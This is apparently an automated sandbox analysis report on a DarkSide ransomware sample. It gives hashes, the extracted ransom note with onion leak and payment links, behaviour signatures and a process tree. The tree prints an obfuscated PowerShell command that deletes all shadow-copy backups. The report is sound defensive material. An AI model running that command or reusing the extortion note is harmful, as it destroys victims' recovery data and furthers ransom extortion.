Analysis

  • max time kernel
    41s
  • max time network
    66s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-05-2021 04:26

General

  • Target

    2.exe

  • Size

    40KB

  • MD5

    78d080e27c4e75fbd8945af34a338958

  • SHA1

    dfc4f8f01c18e8b9979ea1d5f67a2165a9de1e5d

  • SHA256

    973dfafc3051d8c2849f62c556ab8057da706f15d1ffd8871de894ae3a24d86b

  • SHA512

    a69fb8dd38bef3286173e9c86fa61435eb0b690d321488acbf3a986373bfffd90b256a4e57403686b72f8b3e998d506b4b80c2220b2570bdb425c543caa4bdc3

Malware Config

Extracted

Path

C:\\README.4fa9c39d.TXT

Family

darkside

Ransom Note
----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 26 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2.exe
    "C:\Users\Admin\AppData\Local\Temp\2.exe"
    1⤵
    • Modifies extensions of user files
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3088
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1568

Network

MITRE ATT&CK Matrix ATT&CK v6

Credential Access

Credentials in Files

1
T1081

Collection

Data from Local System

1
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    MD5

    010c219c46b4439bc787644989e20389

    SHA1

    f3a63066ab4446458bd6417386777e39e09b9b25

    SHA256

    2a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa

    SHA512

    c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    dc5df454cb15f62e18f0c88e659cdfcd

    SHA1

    ef8a0a5e5ea979c162db052cabe4f739dfdca53f

    SHA256

    89a82ad6970d21ab56171241bd3dcd0a4ec14550b1d9cb847b6a064f4ef5d075

    SHA512

    5f15ee6e7a4f57ef6110c92c21239ddc1fc340e5a1098f8e20ff488dc250d3b7df74d7a0b2196d6b0c73e332c844b58c39efe4ad554229642b1954c4d41846d5

  • memory/3088-114-0x0000000000000000-mapping.dmp
  • memory/3088-119-0x00000184BF500000-0x00000184BF501000-memory.dmp
    Filesize

    4KB

  • memory/3088-123-0x00000184C0160000-0x00000184C0161000-memory.dmp
    Filesize

    4KB

  • memory/3088-129-0x00000184BF590000-0x00000184BF592000-memory.dmp
    Filesize

    8KB

  • memory/3088-131-0x00000184BF593000-0x00000184BF595000-memory.dmp
    Filesize

    8KB

  • memory/3088-132-0x00000184BF596000-0x00000184BF598000-memory.dmp
    Filesize

    8KB